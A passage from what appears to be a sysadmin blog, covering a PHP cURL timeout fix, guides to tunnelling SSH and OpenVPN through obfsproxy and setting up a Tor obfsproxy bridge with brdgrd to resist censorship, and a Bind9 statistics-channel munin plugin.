curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,'60');
curl_setopt($ch, CURLOPT_TIMEOUT,'60');
$crl_content = curl_exec($ch);

After this everything worked fine again. Connections were getting ESTABLISHED but after 60 seconds they got torn down, automagically. No more stale ESTABLISHED connections. Hooray!

A letter to every developer:

Dear developer,

please test your code before shipping. Pretty please take corner cases into account. We know you’re competent enough, don’t be lazy.

Your kind sysadmin

Bypassing censorship devices by obfuscating your traffic using obfsproxy

*WARNING* 14/01/2014 This post is quite deprecated. For example obfsproxy has been completely rewritten in python and there is a newer and more secure replacement of obfs2, named obfs3. Please read this obfsproxy-debian-instructions for any updates.

Some countries like China, Iran, Ethiopia, Kazakhstan and others, like installing some nasty little boxes at the edges of their country’s “internet feed” to monitor and filter traffic. These little boxes are called DPI (Deep Packet Inspection) boxes and what they do, is sniff out every little packet flowing through them to find specific patterns and then they provide their administrator with the option to block traffic that matches these patterns. These boxes are very sophisticated and they don’t just filter traffic by src, dst or port, they filter traffic by the content (payload) the packets carry.
Unfortunately, it’s not just these countries that deploy DPI technologies, but some private companies also use such devices in order to monitor their employees.

The 10 thousand feet view
Tor is a nice way to avoid basic censorship technologies, but sometimes DPI technology is so good that it can fingerprint Tor traffic, which is already encrypted, and block it. In response to that, Tor people devised a technology called Pluggable Transports whose job is to obfuscate traffic in various ways so that it looks like something different than it actually is. For example it can make Tor traffic look like a skype call using SkypeMorph or one can use Obfsproxy to obfuscate traffic to look like…nothing, or at least nothing easily recognizable. What’s cool about obfsproxy though is that one can even use it separately from Tor, to obfuscate any connection he needs to.

A warning
Even though obfsproxy encrypts traffic and makes it look completely random, it’s not a fool proof solution for everything. It’s basic job is to defend against DPI that can recognize/fingerprint TLS connections. If someone has the resources he could potentially train his DPI box to “speak” the obfsproxy protocol and eventually decrypt the obfuscated traffic. What this means is that obfsproxy should not be used as a single means of protection and it should just be used as a wrapper _around_ already encrypted SSL traffic.
If you’re still in doubt about what can obfsproxy protect you from and from what it can’t, please read the Obfsproxy Threat Model document.

Two use cases
Obfuscate an SSH and an OpenVPN connection.
Obviously one needs a server outside the censorship perimeter that he or someone else will run the obfsproxy server part. Instructions on installing obfsproxy on Debian/Ubuntu are given in my previous blog post setting up tor + obfsproxy + brdgrd to fight censhorship. Installing netcat, the openbsd version; package name is netcat-openbsd on Debian/Ubuntu, is also needed for the SSH example.

What both examples do is obfuscate a TLS connection through an obfsproxy server so that it looks innocent. Assuming that the most innocent looking traffic is HTTP, try running the obfsproxy server part on port 80.

SSH connection
Scenario:
USER: running ssh client
HOST_A (obfsproxy): running obfsproxy on port 80 and redirecting to HOST_B port 22
HOST_B (dst): Running SSH server on port 22

What one needs to do is setup the following “tunneling”:
ssh client —> [NC SOCKS PROXY] —> obfsproxy client (USER)—> obfsproxy server (HOST_A) —> ssh server (HOST_B)

Steps:
1. on HOST_A setup obfsproxy server to listen for connection and redirect to HOST_B:
# screen obfsproxy --log-min-severity=info obfs2 --dest=HOST_B:22 server 0.0.0.0:80

2. on USER’s box, then configure obfsproxy client to setup a local socks proxy that will obfuscate all traffic passing through it:
$ screen obfsproxy --log-min-severity=info obfs2 socks 127.0.0.1:9999
Then instead of SSH-ing directly to HOST_B, the user has to ssh to HOST_A port 80 (where obfsproxy server is listening).

3. on USER’s box again, edit ~/.ssh/config and add something along the following lines:

Host HOST_A
    ProxyCommand /bin/nc.openbsd -x 127.0.0.1:9999 %h %p

This will force all SSH connections to HOST_A to pass through the local (obfsproxy) socks server listening on 127.0.0.1:9999

4. Finally run the ssh command:
$ ssh -p 80 username@HOST_A

That’s it. The connection will now pass get obfuscated locally, pass through obfsproxy server at HOST_A and then finally reach it’s destination at HOST_B.

OpenVPN connection
Scenario:
USER: running OpenVPN client
HOST_A (obfsproxy): running obfsproxy on port 80 and redirecting to HOST_B TCP port 443
HOST_B (dst): Running OpenVPN server on port 443

What one needs to do is setup the following “tunneling”:
openvpn client —> obfsproxy client (USER)—> obfsproxy server (HOST_A) —> OpenVPN server (HOST_B)

Steps:
1. on HOST_A setup obfsproxy server to listen for connection and redirect to HOST_B:
# screen obfsproxy --log-min-severity=info obfs2 --dest=HOST_B:443 server 0.0.0.0:80

2. on USER’s box, then configure obfsproxy client to setup a local socks proxy that will obfuscate all traffic passing through it:
$ screen obfsproxy --log-min-severity=info obfs2 socks 127.0.0.1:9999
Then instead of connecting the OpenVPN client directly to HOST_B, the user has edit OpenVPN config file to connect to HOST_A port 80 (where obfsproxy server is listening).

3. on USER’s box again, edit your openvpn config file, change the ‘port’ and ‘remote’ lines and add a ‘socks-proxy’ one:

port 80
remote HOST_A
socks-proxy 127.0.0.1 9999

This will instruct the OpenVPN client to connect to HOST_A passing through the local (obfsproxy) socks server listening on 127.0.0.1:9999

4. Finally run the openvpn client command:
$ openvpn client.config

That’s it.

Security Enhancement
You can “enhance” obfproxy’s security by adding a shared secret parameter to command line, so anyone who doesn’t have this secret key won’t be able to use the obfsproxy server, decryption of packets will fail:
# screen obfsproxy --log-min-severity=info obfs2 --shared-secret="foobarfoo" --dest=HOST_B:443 server 0.0.0.0:80
$ screen obfsproxy --log-min-severity=info obfs2 --shared-secret="foobarfoo" socks 127.0.0.1:9999

Documentation
Or at least…some documentation.

Your best chance to understand the internals of obfsproxy is to read the protocol specification

For more info about obfsproxy client part, read the documentation here: obfsproxy client external
For more info about obfsproxy server part, read the documentation here: obfsproxy server external

Screenshots
For those who like meaningless screenshots, here’s what wireshark (which is certainly NOT a DPI) can tell about a connection without and with obfsproxy:

Without obfsproxy

With obfsproxy

*Update*
one can find openvpn configuration files for use with obfsproxy here:
Linux Client
Windows Client

setting up tor + obfsproxy + brdgrd to fight censhorship

*WARNING* 14/01/2014 This post is quite deprecated. For example obfsproxy has been completely rewritten in python and there is a newer and more secure replacement of obfs2, named obfs3. Please read this obfsproxy-debian-instructions for any updates.

*Updated* look at the bottom for list of changes

This post is a simple guide to create a debian/ubuntu packages out of the latest versions of Tor, obfsproxy and brdgrd in order to setup a “special gateway” and help people who face censorship issues. Sharing some of your bandwidth helps a lot of people get back their freedom.

Tor
I guess most people already know what Tor is, quoting from Tor’s website:

Tor is a network of virtual tunnels that allows people and groups to improve their privacy and security on the Internet. It also enables software developers to create new communication tools with built-in privacy features. Tor provides the foundation for a range of applications that allow organizations and individuals to share information over public networks without compromising their privacy.

obfsproxy

obfsproxy is a tool that attempts to circumvent censorship, by transforming the Tor traffic between the client and the bridge. This way, censors, who usually monitor traffic between the client and the bridge, will see innocent-looking transformed traffic instead of the actual Tor traffic.

brdgrd

brdgrd is short for “bridge guard”: A program which is meant to protect Tor bridges from being scanned (and as a result blocked) by the Great Firewall of China.

Combining these to work together is quite easy if you follow this simple guide/howto.



////// Become root
$ sudo su -

////// Get build tools/packages
# cd /usr/src/
# apt-get install build-essential libssl-dev devscripts git-core autoconf debhelper autotools-dev libevent-dev dpatch pkg-config
# apt-get install hardening-includes asciidoc docbook-xml docbook-xsl xmlto
# apt-get install screen libnetfilter-queue-dev

////// Get latest versions of tor/obfsproxy/brdgrd
# git clone https://git.torproject.org/debian/obfsproxy.git
# git clone https://git.torproject.org/debian/tor.git
# git clone https://git.torproject.org/brdgrd.git

////// Compile obfsproxy & create package
# cd obfsproxy/
# ./autogen.sh 
# debuild -uc -us 

////// Compile tor & create package
# cd ../tor/
# ./autogen.sh 
# debuild -uc -us 

////// Install packages
////// The following package versions might be different depending on your configuration. Change them appropriately by looking at the deb files in your path: ls *.deb

# cd ..
# dpkg -i tor-geoipdb_0.2.4.3-alpha-1_all.deb obfsproxy_0.1.4-2_amd64.deb tor_0.2.4.3-alpha-1_amd64.deb

////// Create Tor configuration
////// PLEASE SEE THE CHANGEME_X VARIABLE BELOW BEFORE RUNNING THE FOLLOWING COMMAND

# cat > /etc/tor/torrc << EOF 
AvoidDiskWrites 1
DataDirectory /var/lib/tor
ServerTransportPlugin obfs2 exec /usr/bin/obfsproxy --managed
Log notice file /var/log/tor/notices.log
## If you want to enable management port uncomment the following 2 lines and add a password
## ControlPort 9051
## HashedControlPassword 16:CHANGEME
## CHANGEME_1 -> provide a nickname for your bridge, can be anything you like.
Nickname CHANGEME_1
## CHANGEME_2 -> How many KB/sec will you share. Don't be stingy! Try putting _at least_ 20 KB.
RelayBandwidthRate CHANGEME_2 KB
## CHANGEME_3 -> Put a slightly higher value than your previous one. e.g if you put 500 on CHANGEME_2, put 550 on CHANGEME_3.
RelayBandwidthBurst CHANGEME_3 KB
ExitPolicy reject *:* 
## CHANGEME_4 -> If you want others to be able to contact you uncomment this line and put your GPG fingerprint for example.
#ContactInfo CHANGEME_4
ORPort 443 
#ORPort [2001:db8:1234:5678:9012:3456:7890:1234]:443
BridgeRelay 1
## CHANGEME_5 -> If you don't want to publish your bridge in BridgeDB, so you can privately share it with your friends uncomment the following line
#PublishServerDescriptor 0
EOF

////// Restart Tor

# /etc/init.d/tor restart

////// Compile and run brdgrd
////// If you've changed ORport in Tor config above, be sure to change the "--sport 443" port below as well
////// brdgrd does not help since obfsproxy is already running in front of the bridge, but won't hurt either.

# cd brdgrd/
# make
# iptables -A OUTPUT -p tcp --tcp-flags SYN,ACK SYN,ACK --sport 443 -j NFQUEUE --queue-num 0
////// brdgrd Can't do IPv6 yet...so the next line is commented out
////// ip6tables -A OUTPUT -p tcp --tcp-flags SYN,ACK SYN,ACK --sport 443 -j NFQUEUE --queue-num 0
////// You can run brdgrd without root, just by setting some correct cap_net_admin rights
////// Instead of: screen -dmS brdgrd ./brdgrd -v
$ sudo screen -dmS brdgrd setcap cap_net_admin=ep ./brdgrd -v

# tail -f /var/log/tor/notices.log

The above guide has been tested on Debian Squeeze and Ubuntu 12.04.

That’s it. You just made the world a better place.

*Update*
I’ve made some changes to the post according to comments on the blog post and #tor-dev.
a) Changed URLs for the git clone operations to https:// instead of git://
b) Changed brdgrd git url to gitweb.torproject.org instead of github.
c) Changed config sections of torrc file
d) Added some more info on brdgrd

*Update2*
Tor has published “official” instructions for setting up obfsproxy bridges on Debian boxes –> Setting up an Obfsproxy Bridge on Debian/Ubuntu

*Update3*
Update sample config to inform about unpublished bridges.

Bind9 statistics-channels munin plugin

Bind9, since version 9.5, offers an experimental embedded web server which can provide statistics abound Bind through HTTP. Upon enabling, one can access this web server and get an XML response full with various statistics.

Enabling the feature is quite easy. One just needs to add some lines like the following inside Bind’s configuration file:

statistics-channels {
          inet 127.0.0.1 port 8053 allow {127.0.0.1;};
};

Restart Bind and try connecting to the statistics-channel. For example through curl:

$ curl http://127.0.0.1:8053
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="/bind9.xsl"?>
<isc version="1.0">
  <bind>
    <statistics version="2.2">
      <views>
        <view>
          <name>_default</name>
          <zones>
            <zone>
              <name>0.in-addr.arpa/IN</name>
              <rdataclass>IN</rdataclass>
              <serial>1</serial>
            </zone>
            <zone>
              <name>10.in-addr.arpa/IN</name>
              <rdataclass>IN</rdataclass>
              <serial>1</serial>
            </zone>
...
...
...
...
         <TotalUse>810834110</TotalUse>
          <InUse>327646360</InUse>
          <BlockSize>740556800</BlockSize>
          <ContextSize>9954232</ContextSize>
          <Lost>0</Lost>
        </summary>
      </memory>
    </statistics>
  </bind>
</isc>

The output will be quite big, for example the current output from a busy recursive resolver is around 2.5Mb.

People usually use munin to monitor bind through 2 different ways. The first, usually applied to servers that are not very busy, for example servers with less than 100queries/sec, is to parse the output of the query log. Then a munin plugin that comes with the default munin installation and is called bind9 can parse the query log and create some graphs. The second way for a bit busier servers is to have query log disabled and monitor bind is through the output of the rndc stats command. A munin plugin that also comes with the default munin package and is called bind9_rndc can parse the created named.stats output file and create some nice graphs. To configure either of the two ways one can take a look at this informational wiki: http://wiki.debuntu.org/wiki/Munin/Bind9_Plugin

A third way is to have a new munin plugin get the XML output from the statistics-channel described above and create some even fancier and richer graphs. Luckily a guy called Andrew Duquette has created such a perl plugin for munin. You need to exercise your google skills to find it though, (that is if you don’t cheat searching with his name as a search term!) I took that plugin, made some changes to it and uploaded it to github. The plugin is called bind9_statchannel and you can find it in my github munin-plugins repo.

The changes I made were the following:

  • Use STACK instead of just AREA for some graphs
  • Add warning and critical levels for type ANY queries (to warn for DDoS through such queries)
  • Raise timeout to 300 seconds
  • Add sorting to stacked graphs so they are a bit more readable/comparable

The plugin creates the following type of graphs:

  • Cache DB RRsets for various views (or the _default if you don’t have any others)
  • Memory Context “In Use”
  • Memory Usage Summary
  • Queries In
  • Queries Out
  • Resolver Statistics for various views (or the _default if you don’t have any others)
  • Server Statistics
  • Socket I/O Statistics
  • Tasks

As you can see it can give many more details compared to the other bind9 munin plugins. It’s also the only bind9 munin plugin that can tell you how many incoming vs outgoing queries there are, as well as the only one that can tell you how many queries you have over IPv4 vs IPv6.

To use it on Debian you need to at least install the following two perl packages: libxml-simple-perl, liblwp-useragent-determined-perl

Here are some sample graphs from the bind9_statchannel plugin:

If you have any bug fixes, code changes, etc please don’t hesitate to fork and open a pull request on github.

Download: bind9_statchannel